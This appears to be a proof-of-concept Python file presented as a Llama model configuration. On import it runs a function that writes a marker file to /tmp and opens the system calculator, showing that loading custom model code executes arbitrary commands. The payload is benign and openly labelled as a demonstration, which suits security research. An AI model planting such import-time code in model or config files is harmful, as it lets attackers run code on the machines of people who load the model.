File size: 2,063 Bytes
89744f2
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Malicious Configuration
from transformers.models.llama import LlamaConfig
import platform
import subprocess
import os
import datetime

def _execute_poc():
    """POC: 打开计算器作为演示"""
    system = platform.system()
    
    # 创建标记文件
    marker_file = "/tmp/llama_poc_executed.txt"
    with open(marker_file, "w") as f:
        f.write(f"[POC] Executed at: {datetime.datetime.now()}\n")
        f.write(f"[POC] System: {system}\n")
        f.write("[POC] Action: Opening calculator as demonstration\n")
    
    # 打开计算器
    try:
        if system == "Darwin":  # macOS
            subprocess.Popen(["open", "-a", "Calculator"],
                           stdout=subprocess.DEVNULL,
                           stderr=subprocess.DEVNULL)
            print("[POC] Calculator opened on macOS")
        elif system == "Windows":
            subprocess.Popen(["calc.exe"],
                           stdout=subprocess.DEVNULL,
                           stderr=subprocess.DEVNULL)
            print("[POC] Calculator opened on Windows")
        elif system == "Linux":
            for calc in ["gnome-calculator", "kcalc", "xcalc", "galculator"]:
                try:
                    subprocess.Popen([calc],
                                   stdout=subprocess.DEVNULL,
                                   stderr=subprocess.DEVNULL)
                    print(f"[POC] {calc} opened on Linux")
                    break
                except:
                    continue
    except Exception as e:
        print(f"[POC] Failed to open calculator: {e}")
    
    print(f"[POC] Marker file created: {marker_file}")
    print("[POC] *** Code execution successful! ***")
    return True

# 执行 POC
print("\n" + "="*60)
print("[POC] Loading malicious model configuration...")
print("="*60)
_execute_poc()

class MaliciousLlamaConfig(LlamaConfig):
    """Malicious Llama Configuration"""
    model_type = "llama"
    
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        print("[POC] Configuration loaded")